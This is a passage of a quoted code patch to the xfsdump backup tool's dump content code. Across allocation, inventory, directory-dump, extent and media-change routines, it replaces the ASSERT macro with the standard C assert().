GETOPT_SUBTREE: > - ASSERT( subtreeix < subtreecnt ); > - ASSERT( optarg && optarg[ 0 ] != '-' ); > + assert( subtreeix < subtreecnt ); > + assert( optarg && optarg[ 0 ] != '-' ); > subtreep[ subtreeix++ ] = optarg; > break; > } > } > - ASSERT( subtreeix == subtreecnt ); > + assert( subtreeix == subtreecnt ); > } else { > subtreep = 0; > } > @@ -900,7 +901,7 @@ content_init( intgen_t argc, > sc_resumerangecnt = ( size_t )sessp->s_nstreams; > sc_resumerangep = ( drange_t * )calloc( sc_resumerangecnt, > sizeof( drange_t )); > - ASSERT( sc_resumerangep ); > + assert( sc_resumerangep ); > for ( strmix = 0 ; strmix < sc_resumerangecnt ; strmix++ ) { > inv_stream_t *bsp; > inv_stream_t *esp; > @@ -966,7 +967,7 @@ content_init( intgen_t argc, > inv_free_session( &sessp ); > sessp = 0; > ok = inv_close( inv_idbt ); > - ASSERT( ok ); > + assert( ok ); > inv_idbt = INV_TOKEN_NULL; > goto baseuuidbypass; > } > @@ -1028,7 +1029,7 @@ content_init( intgen_t argc, > (u_char_t)sc_level, > &sessp); > ok1 = inv_close( inv_idbt ); > - ASSERT( ok1 ); > + assert( ok1 ); > if ( ! ok ) { > sessp = 0; > } > @@ -1046,7 +1047,7 @@ content_init( intgen_t argc, > sc_resumerangecnt = ( size_t )sessp->s_nstreams; > sc_resumerangep = ( drange_t * )calloc( sc_resumerangecnt, > sizeof( drange_t )); > - ASSERT( sc_resumerangep ); > + assert( sc_resumerangep ); > for ( strmix = 0 ; strmix < sc_resumerangecnt ; strmix++ ) { > inv_stream_t *bsp; > inv_stream_t *esp; > @@ -1119,8 +1120,8 @@ baseuuidbypass: > samefoundpr = BOOL_FALSE; > } > if ( underfoundpr ) { > - ASSERT( underlevel <= LEVEL_MAX ); > - ASSERT( undertime ); > + assert( underlevel <= LEVEL_MAX ); > + assert( undertime ); > if ( samefoundpr ) { > if ( undertime >= sametime ) { > if ( underinterruptedpr ) { > @@ -1157,7 +1158,7 @@ baseuuidbypass: > sc_incrbaselevel = underlevel; > uuid_copy(sc_incrbaseid, underid); > sc_resumepr = BOOL_FALSE; > - ASSERT( sc_resumerangep ); > + assert( sc_resumerangep ); > free( ( void * )sc_resumerangep ); > sc_resumerangep = 0; > } else { > @@ -1179,14 +1180,14 @@ baseuuidbypass: > sc_level, > sc_level ); > } > - ASSERT( sametime ); > + assert( sametime ); > sc_incrpr = BOOL_TRUE; > sc_incrbasetime = undertime; > sc_incrbaselevel = underlevel; > sc_resumepr = BOOL_TRUE; > sc_resumebasetime = sametime; > uuid_copy(sc_resumebaseid, sameid); > - ASSERT( sc_resumerangep ); > + assert( sc_resumerangep ); > } > } else { > if ( underinterruptedpr ) { > @@ -1223,11 +1224,11 @@ baseuuidbypass: > sc_incrbaselevel = underlevel; > uuid_copy(sc_incrbaseid, underid); > sc_resumepr = BOOL_FALSE; > - ASSERT( ! sc_resumerangep ); > + assert( ! sc_resumerangep ); > } > } else { > if ( samefoundpr ) { > - ASSERT( sametime ); > + assert( sametime ); > if ( subtreecnt && ! samepartialpr ) { > mlog( MLOG_NORMAL | MLOG_WARNING, _( > "level %u " > @@ -1250,11 +1251,11 @@ baseuuidbypass: > sc_resumepr = BOOL_TRUE; > sc_resumebasetime = sametime; > uuid_copy(sc_resumebaseid, sameid); > - ASSERT( sc_resumerangep ); > + assert( sc_resumerangep ); > } else { > sc_incrpr = BOOL_FALSE; > sc_resumepr = BOOL_FALSE; > - ASSERT( ! sc_resumerangep ); > + assert( ! sc_resumerangep ); > if ( sc_level > 0 ) { > mlog( MLOG_NORMAL | MLOG_ERROR, _( > "cannot find earlier dump " > @@ -1294,9 +1295,9 @@ baseuuidbypass: > char incrtimestr[ 30 ]; > > strcpy( restimestr, ctimennl( &sc_resumebasetime )); > - ASSERT( strlen( restimestr ) < sizeof( restimestr )); > + assert( strlen( restimestr ) < sizeof( restimestr )); > strcpy( incrtimestr, ctimennl( &sc_incrbasetime )); > - ASSERT( strlen( incrtimestr ) < sizeof( incrtimestr )); > + assert( strlen( incrtimestr ) < sizeof( incrtimestr )); > > mlog( MLOG_VERBOSE, _( > "resuming level %d incremental dump of %s:%s " > @@ -1388,7 +1389,7 @@ baseuuidbypass: > } > sc_rootxfsstatp = > ( xfs_bstat_t * )calloc( 1, sizeof( xfs_bstat_t )); > - ASSERT( sc_rootxfsstatp ); > + assert( sc_rootxfsstatp ); > > if ( bigstat_one( sc_fsfd, rootstat.st_ino, sc_rootxfsstatp) < 0 ) { > mlog( MLOG_ERROR, > @@ -1433,7 +1434,7 @@ baseuuidbypass: > sc_stat_inomapcnt = ( size64_t )fs_getinocnt( mntpnt ); > > sc_startptp = ( startpt_t * )calloc( drivecnt, sizeof( startpt_t )); > - ASSERT( sc_startptp ); > + assert( sc_startptp ); > ok = inomap_build( sc_fshandlep, > sc_fsfd, > sc_rootxfsstatp, > @@ -1467,7 +1468,7 @@ baseuuidbypass: > * an inomap for each media file. the dirdump flag will be set > * in content_stream_dump() for streams which dump the directories. > */ > - ASSERT( sizeof( cwhdrtemplatep->ch_specific ) >= sizeof( *scwhdrtemplatep )); > + assert( sizeof( cwhdrtemplatep->ch_specific ) >= sizeof( *scwhdrtemplatep )); > scwhdrtemplatep->cih_mediafiletype = CIH_MEDIAFILETYPE_DATA; > scwhdrtemplatep->cih_level = ( int32_t )sc_level; > scwhdrtemplatep->cih_dumpattr = CIH_DUMPATTR_INOMAP; > @@ -1553,17 +1554,17 @@ baseuuidbypass: > /* allocate and populate per-stream context descriptors > */ > sc_contextp = ( context_t * )calloc( drivecnt, sizeof( context_t )); > - ASSERT( sc_contextp ); > + assert( sc_contextp ); > for ( strmix = 0 ; strmix < drivecnt ; strmix++ ) { > context_t *contextp = &sc_contextp[ strmix ]; > > contextp->cc_filehdrp = > ( filehdr_t * )calloc( 1, sizeof( filehdr_t )); > - ASSERT( contextp->cc_filehdrp ); > + assert( contextp->cc_filehdrp ); > > contextp->cc_extenthdrp = > ( extenthdr_t * )calloc( 1, sizeof( extenthdr_t )); > - ASSERT( contextp->cc_extenthdrp ); > + assert( contextp->cc_extenthdrp ); > > contextp->cc_getdentsbufsz = sizeof( struct dirent ) > + > @@ -1573,7 +1574,7 @@ baseuuidbypass: > } > contextp->cc_getdentsbufp = > ( char * ) calloc( 1, contextp->cc_getdentsbufsz ); > - ASSERT( contextp->cc_getdentsbufp ); > + assert( contextp->cc_getdentsbufp ); > > contextp->cc_mdirentbufsz = sizeof( direnthdr_t ) > + > @@ -1582,7 +1583,7 @@ baseuuidbypass: > DIRENTHDR_ALIGN; > contextp->cc_mdirentbufp = > ( char * ) calloc( 1, contextp->cc_mdirentbufsz ); > - ASSERT( contextp->cc_mdirentbufp ); > + assert( contextp->cc_mdirentbufp ); > > contextp->cc_extattrlistbufsz = EXTATTR_LISTBUF_SZ; > contextp->cc_extattrrtrvarraylen = EXTATTR_RTRVARRAY_LEN; > @@ -1592,15 +1593,15 @@ baseuuidbypass: > } > contextp->cc_extattrlistbufp = > ( char * )calloc( 1, contextp->cc_extattrlistbufsz ); > - ASSERT( contextp->cc_extattrlistbufp ); > + assert( contextp->cc_extattrlistbufp ); > contextp->cc_extattrrtrvarrayp = > ( attr_multiop_t * )calloc( contextp->cc_extattrrtrvarraylen, > sizeof( attr_multiop_t )); > - ASSERT( contextp->cc_extattrrtrvarrayp ); > + assert( contextp->cc_extattrrtrvarrayp ); > contextp->cc_extattrdumpbufp = > ( char * )memalign( sizeof( extattrhdr_t ), > contextp->cc_extattrdumpbufsz ); > - ASSERT( contextp->cc_extattrdumpbufp ); > + assert( contextp->cc_extattrdumpbufp ); > if (hsm_fs_ctxtp) { > contextp->cc_hsm_f_ctxtp = HsmAllocateFileContext( > hsm_fs_ctxtp); > @@ -1611,7 +1612,7 @@ baseuuidbypass: > contextp->cc_readlinkbufsz = MAXPATHLEN + SYMLINK_ALIGN; > contextp->cc_readlinkbufp = > ( char * ) calloc( 1, contextp->cc_readlinkbufsz ); > - ASSERT( contextp->cc_readlinkbufp ); > + assert( contextp->cc_readlinkbufp ); > > contextp->cc_inomap_contextp = inomap_alloc_context( ); > } > @@ -1770,7 +1771,7 @@ content_statline( char **linespp[ ] ) > (unsigned long long)sc_stat_inomapdone, > (unsigned long long)sc_stat_inomapcnt, > elapsed ); > - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); > + assert( strlen( statline[ 0 ] ) < STATLINESZ ); > } else { > sprintf( statline[ 0 ], > "status at %02d:%02d:%02d: " > @@ -1784,7 +1785,7 @@ content_statline( char **linespp[ ] ) > (unsigned long long)sc_stat_inomapdone, > (unsigned long long)sc_stat_inomapcnt, > elapsed ); > - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); > + assert( strlen( statline[ 0 ] ) < STATLINESZ ); > } > return 1; > } > @@ -1835,7 +1836,7 @@ content_statline( char **linespp[ ] ) > elapsed ); > } > > - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); > + assert( strlen( statline[ 0 ] ) < STATLINESZ ); > > /* optionally create stat lines for each drive > */ > @@ -1883,7 +1884,7 @@ content_statline( char **linespp[ ] ) > sprintf( &statline[ statlinecnt ] > [ strlen( statline[ statlinecnt ] ) ], > "\n" ); > - ASSERT( strlen( statline[ statlinecnt ] ) < STATLINESZ ); > + assert( strlen( statline[ statlinecnt ] ) < STATLINESZ ); > statlinecnt++; > } > > @@ -1905,7 +1906,7 @@ create_inv_session( > > /* create a cleanup handler to close the inventory on exit. */ > rval = atexit( inv_cleanup ); > - ASSERT( ! rval ); > + assert( ! rval ); > > sc_inv_idbtoken = inv_open( ( inv_predicate_t )INV_BY_UUID, > INV_SEARCH_N_MOD, > @@ -1915,12 +1916,12 @@ create_inv_session( > } > qmntpnt = ( char * )calloc( 1, strlen( gwhdrtemplatep->gh_hostname ) > + 1 + strlen( mntpnt ) + 1 ); > - ASSERT( qmntpnt ); > - ASSERT( strlen( gwhdrtemplatep->gh_hostname )); > + assert( qmntpnt ); > + assert( strlen( gwhdrtemplatep->gh_hostname )); > sprintf( qmntpnt, "%s:%s", gwhdrtemplatep->gh_hostname, mntpnt ); > qfsdevice = ( char * )calloc( 1, strlen( gwhdrtemplatep->gh_hostname ) > + 1 + strlen( fsdevice ) + 1 ); > - ASSERT( qfsdevice ); > + assert( qfsdevice ); > sprintf( qfsdevice, "%s:%s", gwhdrtemplatep->gh_hostname, fsdevice ); > > sc_inv_sestoken = inv_writesession_open( sc_inv_idbtoken, > @@ -1943,7 +1944,7 @@ create_inv_session( > */ > sc_inv_stmtokenp = ( inv_stmtoken_t * ) > calloc( drivecnt, sizeof( inv_stmtoken_t )); > - ASSERT( sc_inv_stmtokenp ); > + assert( sc_inv_stmtokenp ); > for ( strmix = 0 ; strmix < drivecnt ; strmix++ ) { > drive_t *drivep = drivepp[ strmix ]; > char *drvpath; > @@ -1971,7 +1972,7 @@ mark_set( drive_t *drivep, xfs_ino_t ino, off64_t offset, int32_t flags ) > { > drive_ops_t *dop = drivep->d_opsp; > mark_t *markp = ( mark_t * )calloc( 1, sizeof( mark_t )); > - ASSERT( markp ); > + assert( markp ); > > if ( flags & STARTPT_FLAGS_NULL ) { > mlog( MLOG_DEBUG, > @@ -2102,17 +2103,17 @@ content_stream_dump( ix_t strmix ) > > /* sanity checks > */ > - ASSERT( RV_OK == 0 ); /* bigstat_iter depends on this */ > + assert( RV_OK == 0 ); /* bigstat_iter depends on this */ > > /* allocate a buffer for use by bstat_iter > */ > bstatbufp = ( xfs_bstat_t * )calloc( bstatbuflen, > sizeof( xfs_bstat_t )); > - ASSERT( bstatbufp ); > + assert( bstatbufp ); > > /* allocate an inomap context */ > inomap_contextp = inomap_alloc_context(); > - ASSERT( inomap_contextp ); > + assert( inomap_contextp ); > > /* determine if stream terminators will be used and are expected. > * this will be revised each time a new media file is begun. > @@ -2253,7 +2254,7 @@ content_stream_dump( ix_t strmix ) > if ( rv == RV_CORE ) { > return mlog_exit(EXIT_FAULT, rv); > } > - ASSERT( rv == RV_OK ); > + assert( rv == RV_OK ); > if ( rv != RV_OK ) { > return mlog_exit(EXIT_FAULT, rv); > } > @@ -2298,7 +2299,7 @@ content_stream_dump( ix_t strmix ) > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > } > - ASSERT( rv == RV_OK ); > + assert( rv == RV_OK ); > if ( rv != RV_OK ) { > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > @@ -2334,7 +2335,7 @@ content_stream_dump( ix_t strmix ) > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > } > - ASSERT( rv == RV_OK ); > + assert( rv == RV_OK ); > if ( rv != RV_OK ) { > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > @@ -2394,7 +2395,7 @@ content_stream_dump( ix_t strmix ) > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > } > - ASSERT( rv == RV_OK || rv == RV_NOMORE ); > + assert( rv == RV_OK || rv == RV_NOMORE ); > if ( rv != RV_OK && rv != RV_NOMORE ) { > free( ( void * )bstatbufp ); > return mlog_exit(EXIT_FAULT, rv); > @@ -2737,7 +2738,7 @@ content_mediachange_query( void ) > } > nochangeix = choicecnt; > choicestr[ choicecnt++ ] = "continue"; > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > responseix = dlog_multi_query( querystr, > querycnt, > choicestr, > @@ -2755,7 +2756,7 @@ content_mediachange_query( void ) > clr_mcflag( choicetothrdmap[ responseix ].thrdix ); > return "media change acknowledged\n"; > } > - ASSERT( responseix == nochangeix ); > + assert( responseix == nochangeix ); > return "continuing\n"; > } > > @@ -2919,7 +2920,7 @@ dump_dir( ix_t strmix, > > /* no way this can be non-dir, but check anyway > */ > - ASSERT( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); > + assert( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); > if ( ( statp->bs_mode & S_IFMT ) != S_IFDIR ) { > return RV_OK; > } > @@ -3041,7 +3042,7 @@ dump_dir( ix_t strmix, > nread > 0 > ; > nread -= ( intgen_t )reclen, > - ASSERT( nread >= 0 ), > + assert( nread >= 0 ), > p = ( struct dirent * )( ( char * )p + reclen ), > reclen = ( size_t )p->d_reclen ) { > xfs_ino_t ino; > @@ -3056,7 +3057,7 @@ dump_dir( ix_t strmix, > * be null-terminated, but the record may have > * padding after the null-termination. > */ > - ASSERT( namelen < nameszmax ); > + assert( namelen < nameszmax ); > #endif > > /* skip "." and ".." > @@ -3263,7 +3264,7 @@ dump_extattr_list( drive_t *drivep, > > /* sanity checks > */ > - ASSERT( listp->al_count >= 0 ); > + assert( listp->al_count >= 0 ); > > /* fill up a retrieve array and build a dump buffer; > * can run out of entries in the name list, space in the > @@ -3397,7 +3398,7 @@ dump_extattr_list( drive_t *drivep, > if (dumpbufp <= dumpbufendp) > continue; /* no buffer overflow yet */ > > - ASSERT( endp > contextp->cc_extattrdumpbufp ); > + assert( endp > contextp->cc_extattrdumpbufp ); > bufsz = ( size_t )( endp - contextp->cc_extattrdumpbufp ); > > rval = write_buf( contextp->cc_extattrdumpbufp, > @@ -3476,7 +3477,7 @@ dump_extattr_list( drive_t *drivep, > continue; > } > > - ASSERT( endp > contextp->cc_extattrdumpbufp ); > + assert( endp > contextp->cc_extattrdumpbufp ); > bufsz = ( size_t )( endp - contextp->cc_extattrdumpbufp ); > > rval = write_buf( contextp->cc_extattrdumpbufp, > @@ -3613,7 +3614,7 @@ dump_extattr_buildrecord( xfs_bstat_t *statp, > > memset( ( void * )&tmpah, 0, sizeof( tmpah )); > tmpah.ah_sz = recsz; > - ASSERT( EXTATTRHDR_SZ + namesz < UINT16MAX ); > + assert( EXTATTRHDR_SZ + namesz < UINT16MAX ); > tmpah.ah_valoff = ( u_int16_t )( EXTATTRHDR_SZ + namesz ); > tmpah.ah_flags = ( u_int16_t ) > (( flag & ATTR_ROOT ) ? EXTATTRHDR_FLAGS_ROOT : > @@ -3644,7 +3645,7 @@ dump_extattrhdr( drive_t *drivep, > > memset( ( void * )&ahdr, 0, sizeof( ahdr )); > ahdr.ah_sz = recsz; > - ASSERT( valoff < UINT16MAX ); > + assert( valoff < UINT16MAX ); > ahdr.ah_valoff = ( u_int16_t )valoff; > ahdr.ah_flags = ( u_int16_t )flags | EXTATTRHDR_FLAGS_CHECKSUM; > ahdr.ah_valsz = valsz; > @@ -3937,7 +3938,7 @@ dump_file_reg( drive_t *drivep, > */ > if ( statp->bs_ino == startptp->sp_ino ) { > offset = startptp->sp_offset; > - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > } else { > offset = 0; > } > @@ -3966,7 +3967,7 @@ dump_file_reg( drive_t *drivep, > break; > } > } > - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > } > > /* determine the offset within the file where the dump should end. > @@ -4034,7 +4035,7 @@ dump_file_reg( drive_t *drivep, > /* see if we are done. > */ > if ( cmpltflg ) { > - ASSERT( rv == RV_OK ); > + assert( rv == RV_OK ); > break; > } > > @@ -4094,7 +4095,7 @@ dump_file_reg( drive_t *drivep, > &offset, > &bc, > &cmpltflg ); > - ASSERT( bc >= 0 ); > + assert( bc >= 0 ); > bytecnt += bc; > if ( rv != RV_OK ) { > break; > @@ -4193,7 +4194,7 @@ dump_file_spec( drive_t *drivep, > > /* null-terminate the string > */ > - ASSERT( ( size_t )nread < contextp->cc_readlinkbufsz ); > + assert( ( size_t )nread < contextp->cc_readlinkbufsz ); > contextp->cc_readlinkbufp[ nread ] = 0; > > /* calculate the extent size - be sure to include room > @@ -4202,7 +4203,7 @@ dump_file_spec( drive_t *drivep, > extentsz = ( ( size_t )nread + 1 + ( SYMLINK_ALIGN - 1 )) > & > ~ ( SYMLINK_ALIGN - 1 ); > - ASSERT( extentsz <= contextp->cc_readlinkbufsz ); > + assert( extentsz <= contextp->cc_readlinkbufsz ); > > /* dump an extent header > */ > @@ -4351,7 +4352,7 @@ dump_extent_group( drive_t *drivep, > */ > nextoffset = *nextoffsetp; > bytecnt = 0; > - ASSERT( ( nextoffset & ( BBSIZE - 1 )) == 0 ); > + assert( ( nextoffset & ( BBSIZE - 1 )) == 0 ); > > for ( ; ; ) { > off64_t offset; > @@ -4398,7 +4399,7 @@ dump_extent_group( drive_t *drivep, > if ( gcp->eg_nextbmapp >= gcp->eg_endbmapp ) { > intgen_t entrycnt; /* entries in new bmap */ > > - ASSERT( gcp->eg_nextbmapp == gcp->eg_endbmapp ); > + assert( gcp->eg_nextbmapp == gcp->eg_endbmapp ); > > /* get a new extent block > */ > @@ -4613,7 +4614,7 @@ dump_extent_group( drive_t *drivep, > extsz, > nextoffset ); > } > - ASSERT( extsz > 0 ); > + assert( extsz > 0 ); > > /* if the resultant extent would put us over maxcnt, > * shorten it, and round up to the next BBSIZE (round > @@ -4692,8 +4693,8 @@ dump_extent_group( drive_t *drivep, > */ > if ( sosig && ( extsz > stopoffset - offset )) { > extsz = stopoffset - offset; > - ASSERT( extsz >= 0 ); > - ASSERT( ! ( extsz & ( off64_t )( BBSIZE - 1 ))); > + assert( extsz >= 0 ); > + assert( ! ( extsz & ( off64_t )( BBSIZE - 1 ))); > mlog( MLOG_NITTY, > "adjusted top of extent " > "to adhere to stop offset: " > @@ -4747,8 +4748,8 @@ dump_extent_group( drive_t *drivep, > } > /* adjust the next offset > */ > - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > - ASSERT( ( extsz & ( off64_t )( BBSIZE - 1 )) == 0 ); > + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); > + assert( ( extsz & ( off64_t )( BBSIZE - 1 )) == 0 ); > nextoffset = offset + extsz; > > /* dump the extent header > @@ -4786,7 +4787,7 @@ dump_extent_group( drive_t *drivep, > bufp = ( * dop->do_get_write_buf )( drivep, > reqsz, > &actualsz ); > - ASSERT( actualsz <= reqsz ); > + assert( actualsz <= reqsz ); > new_off = lseek64( gcp->eg_fd, offset, SEEK_SET ); > if ( new_off == ( off64_t )( -1 )) { > mlog( MLOG_NORMAL, _( > @@ -4810,7 +4811,7 @@ dump_extent_group( drive_t *drivep, > > nread = 0; > } > - ASSERT( ( size_t )nread <= actualsz ); > + assert( ( size_t )nread <= actualsz ); > mlog( MLOG_NITTY, > "read ino %llu offset %lld sz %d actual %d\n", > statp->bs_ino, > @@ -5103,8 +5104,8 @@ dump_dirent( drive_t *drivep, > return RV_OK; > } > > - ASSERT( sz <= UINT16MAX ); > - ASSERT( sz >= DIRENTHDR_SZ ); > + assert( sz <= UINT16MAX ); > + assert( sz >= DIRENTHDR_SZ ); > > outbufp = malloc(sz); > > @@ -5206,7 +5207,7 @@ dump_session_inv( drive_t *drivep, > "unable to get session inventory to dump\n") ); > return BOOL_TRUE; > } > - ASSERT( inv_sbufp ); > + assert( inv_sbufp ); > > /* modify the write header to indicate the media file type. > */ > @@ -5497,18 +5498,18 @@ inv_cleanup( void ) > interrupted ? ": interrupted" : "" ); > if (interrupted) mlog_exit_hint(RV_INTR); > ok = inv_stream_close( *inv_stmtp, interrupted ); > - ASSERT( ok ); > + assert( ok ); > } > } > > if ( sc_inv_sestoken != INV_TOKEN_NULL ) { > ok = inv_writesession_close( sc_inv_sestoken ); > - ASSERT( ok ); > + assert( ok ); > } > > if ( sc_inv_idbtoken != INV_TOKEN_NULL ) { > ok = inv_close( sc_inv_idbtoken ); > - ASSERT( ok ); > + assert( ok ); > } > } > > @@ -5542,7 +5543,7 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) > > /* sanity checks > */ > - ASSERT( BES_INIT == 0 ); > + assert( BES_INIT == 0 ); > > mlog( MLOG_DEBUG | MLOG_MEDIA, > "Media op: begin media file\n" ); > @@ -5588,7 +5589,7 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) > mediawrittentopr = BOOL_TRUE; > goto changemedia; > default: > - ASSERT( 0 ); > + assert( 0 ); > return RV_CORE; > } > } > @@ -5685,11 +5686,11 @@ position: > intgen_t status; > mlog( MLOG_VERBOSE | MLOG_MEDIA, _( > "stream terminator found\n") ); > - ASSERT( contextp->cc_Media_useterminatorpr ); > - ASSERT( dcaps & DRIVE_CAP_BSF ); /* redundant */ > + assert( contextp->cc_Media_useterminatorpr ); > + assert( dcaps & DRIVE_CAP_BSF ); /* redundant */ > status = 0; > rval = ( * dop->do_bsf )( drivep, 0, &status ); > - ASSERT( rval == 0 ); > + assert( rval == 0 ); > if ( status == DRIVE_ERROR_DEVICE ) { > mlog( MLOG_NORMAL | MLOG_ERROR | MLOG_MEDIA, _( > "encountered media error " > @@ -5742,10 +5743,10 @@ position: > intgen_t status; > mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_MEDIA, _( > "repositioning to overwrite\n") ); > - ASSERT( dcaps & DRIVE_CAP_BSF ); > + assert( dcaps & DRIVE_CAP_BSF ); > status = 0; > rval = ( * dop->do_bsf )( drivep, 0, &status ); > - ASSERT( rval == 0 ); > + assert( rval == 0 ); > if ( status == DRIVE_ERROR_DEVICE ) { > return RV_DRIVE; > } > @@ -5881,7 +5882,7 @@ position: > assert( dcaps & DRIVE_CAP_BSF ); > status = 0; > rval = ( * dop->do_bsf )( drivep, 0, &status ); > - ASSERT( rval == 0 ); > + assert( rval == 0 ); > if ( status == DRIVE_ERROR_DEVICE ) { > return RV_DRIVE; > } > @@ -5923,7 +5924,7 @@ changemedia: > > /* first eject the current media object if capability supported > */ > - ASSERT( mediapresentpr != BOOL_UNKNOWN ); > + assert( mediapresentpr != BOOL_UNKNOWN ); > if ( mediapresentpr == BOOL_TRUE ) { > if ( dcaps & DRIVE_CAP_EJECT ) { > rval = ( * dop->do_eject_media )( drivep ); > @@ -5949,7 +5950,7 @@ changemedia: > */ > if ( drivecnt > 1 && ! stdoutpiped ) { > ix_t thrdix = drivep->d_index; > - ASSERT( sistr ); > + assert( sistr ); > mlog( MLOG_NORMAL | MLOG_NOTE | MLOG_MEDIA, _( > "please change media: " > "type %s to confirm media change\n"), > @@ -5983,8 +5984,8 @@ changemedia: > goto position; > > write: > - ASSERT( mediapresentpr == BOOL_TRUE ); > - ASSERT( virginmediapr != BOOL_UNKNOWN ); > + assert( mediapresentpr == BOOL_TRUE ); > + assert( virginmediapr != BOOL_UNKNOWN ); > > if ( intr_allowed && cldmgr_stop_requested( )) { > return RV_INTR; > @@ -6024,8 +6025,8 @@ write: > mwhdrp->mh_mediaix++; /* pre-initialized to -1 */ > } > > - ASSERT( mwhdrp->mh_mediaix != ( u_int32_t )( -1 )); > - ASSERT( mwhdrp->mh_dumpfileix != ( u_int32_t )( -1 )); > + assert( mwhdrp->mh_mediaix != ( u_int32_t )( -1 )); > + assert( mwhdrp->mh_dumpfileix != ( u_int32_t )( -1 )); > > /* do not allow interleaving of media files from different xfsdumps. > */ > @@ -6090,7 +6091,7 @@ write: > } > } > } else { > - ASSERT( ! virginmediapr ); > + assert( ! virginmediapr ); > uuid_copy(mwhdrp->mh_mediaid, mrhdrp->mh_mediaid); > ( void )strncpyterm( mwhdrp->mh_medialabel, > mrhdrp->mh_medialabel, > @@ -6139,14 +6140,14 @@ Media_mfile_end( drive_t *drivep, > mlog( MLOG_DEBUG | MLOG_MEDIA, > "Media op: end media file\n" ); > > - ASSERT( contextp->cc_Media_begin_entrystate == BES_INVAL ); > + assert( contextp->cc_Media_begin_entrystate == BES_INVAL ); > > /* call drive's end_write op to flush the tail of the media file > * if has previously hit EOM, this is moot. > */ > rval = ( dop->do_end_write )( drivep, ncommittedp ); > if ( hit_eom ) { > - ASSERT( ! rval ); > + assert( ! rval ); > contextp->cc_Media_begin_entrystate = BES_ENDEOM; > return RV_EOM; > } > @@ -6198,7 +6199,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* query: ask if overwrite ok > @@ -6209,13 +6210,13 @@ retry: > (unsigned int)drivep->d_index ); > querycnt = 0; > querystr[ querycnt++ ] = question; > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > dontix = choicecnt; > choicestr[ choicecnt++ ] = "don't overwrite"; > doix = choicecnt; > choicestr[ choicecnt++ ] = "overwrite"; > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > sigintix = IXMAX - 1; > > responseix = dlog_multi_query( querystr, > @@ -6239,7 +6240,7 @@ retry: > } else { > ackstr[ ackcnt++ ] = "keyboard interrupt\n"; > } > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > > @@ -6248,7 +6249,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > @@ -6336,7 +6337,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > /* query: ask if overwrite ok > @@ -6350,13 +6351,13 @@ retry: > (unsigned int)drivep->d_index ); > querycnt = 0; > querystr[ querycnt++ ] = question; > - ASSERT( querycnt <= QUERYMAX ); > + assert( querycnt <= QUERYMAX ); > choicecnt = 0; > dontix = choicecnt; > choicestr[ choicecnt++ ] = "don't erase"; > doix = choicecnt; > choicestr[ choicecnt++ ] = "erase"; > - ASSERT( choicecnt <= CHOICEMAX ); > + assert( choicecnt <= CHOICEMAX ); > sigintix = IXMAX - 1; > > responseix = dlog_multi_query( querystr, > @@ -6380,7 +6381,7 @@ retry: > } else { > ackstr[ ackcnt++ ] = "keyboard interrupt\n"; > } > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_multi_ack( ackstr, > ackcnt ); > > @@ -6389,7 +6390,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ postamblecnt++ ] = "\n\n"; > - ASSERT( postamblecnt <= POSTAMBLEMAX ); > + assert( postamblecnt <= POSTAMBLEMAX ); > dlog_end( postamblestr, > postamblecnt ); > > @@ -6448,7 +6449,7 @@ retry: > preamblestr[ preamblecnt++ ] = "\n"; > preamblestr[ preamblecnt++ ] = fold; > preamblestr[ preamblecnt++ ] = "\n\n"; > - ASSERT( preamblecnt <= PREAMBLEMAX ); > + assert( preamblecnt <= PREAMBLEMAX ); > dlog_begin( preamblestr, preamblecnt ); > > responseix = dlog_string_query( Media_prompt_label_cb, > @@ -6474,7 +6475,7 @@ retry: > ackstr[ ackcnt++ ] = "abort\n"; > } > > - ASSERT( ackcnt <= ACKMAX ); > + assert( ackcnt <= ACKMAX ); > dlog_string_ack( ackstr, > ackcnt ); > > @@ -6483,7 +6484,7 @@ retry: > postamblestr[ postamblecnt++ ] = "\n"; > postamblestr[ postamblecnt++ ] = fold; > postamblestr[ 